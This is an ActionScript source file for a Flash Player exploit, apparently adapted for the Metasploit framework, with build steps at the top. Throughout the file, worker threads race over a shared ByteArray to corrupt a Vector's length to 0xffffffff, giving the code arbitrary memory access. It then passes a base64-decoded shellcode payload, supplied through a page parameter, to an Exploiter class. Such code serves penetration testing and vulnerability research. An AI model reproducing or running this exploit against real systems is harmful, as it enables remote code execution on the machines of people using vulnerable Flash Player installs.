// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
//      (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Msf.as

// Original code by @hdarwin89 modified to be used from msf
// https://git.hacklab.kr/snippets/13
// http://pastebin.com/Wj3NViUu

package
{
    import flash.display.Sprite
    import flash.events.Event
    import flash.utils.ByteArray
    import flash.system.Worker
    import flash.system.WorkerDomain
    import flash.system.MessageChannel
    import flash.system.ApplicationDomain
    import avm2.intrinsics.memory.casi32
    import flash.display.LoaderInfo
    import mx.utils.Base64Decoder

    public class Exploit extends Sprite 
    {
        private var ov:Vector.<Object> = new Vector.<Object>(25600)
        private var uv:Vector.<uint> = new Vector.<uint>
        private var ba:ByteArray = new ByteArray()
        private var b64:Base64Decoder = new Base64Decoder()
        private var worker:Worker
        private var mc:MessageChannel
        private var payload:ByteArray
        private var platform:String
        private var os:String
        private var exploiter:Exploiter

        public function Exploit() 
        {
            if (Worker.current.isPrimordial) mainThread()
            else workerThread()
        }

        private function mainThread():void
        {
            platform = LoaderInfo(this.root.loaderInfo).parameters.pl
            os = LoaderInfo(this.root.loaderInfo).parameters.os
            var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
            var pattern:RegExp = / /g;
            b64_payload = b64_payload.replace(pattern, "+")
            b64.decode(b64_payload)
            payload = b64.toByteArray()
			
            ba.length = 0x1000
            ba.shareable = true
            for (var i:uint = 0; i < ov.length; i++) {
                ov[i] = new Vector.<uint>(1014)
                ov[i][0] = 0xdeedbeef
            }
            for (i = 0; i < ov.length; i += 2) delete(ov[i])
            worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
            mc = worker.createMessageChannel(Worker.current)
            mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
            worker.setSharedProperty("mc", mc)
            worker.setSharedProperty("ba", ba)
            ApplicationDomain.currentDomain.domainMemory = ba
            worker.start()
        }

        private function workerThread():void
        {
            var ba:ByteArray = Worker.current.getSharedProperty("ba")
            var mc:MessageChannel = Worker.current.getSharedProperty("mc")
            var tmp:ByteArray = new ByteArray()
            tmp.length = 0x2000
			
            for (var i:uint = 0; i < 20; i++) {
                new Vector.<uint>(1022)
            }
			
            ba.writeBytes(tmp)
            ov[0] = new Vector.<uint>(1022)
			
            mc.send("")
            while (mc.messageAvailable);
			
            for (i = 0;; i++) {
                if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
                    ov[0][i] = 0xffffffff
                    break
                }
            }
            ov[0][0xfffffffe] = 1014
			
            mc.send("")
        }

        private function onMessage(e:Event):void
        {
            var mod:uint = casi32(0, 1022, 0xFFFFFFFF)
            Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString())
            if (mod == 1022) mc.receive()
            else {			
                for (var i:uint = 0; i < ov.length; i++) {
                    if (ov[i].length == 0xffffffff) {
                        uv = ov[i]
                    } else {
                        if (ov[i] != null) {
                            delete(ov[i])
                            ov[i] = null
                        }
                    }
                }
                if (uv == null) {
                    Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found")
                    return
                }
                exploiter = new Exploiter(this, platform, os, payload, uv)
            }
        }
    }
}
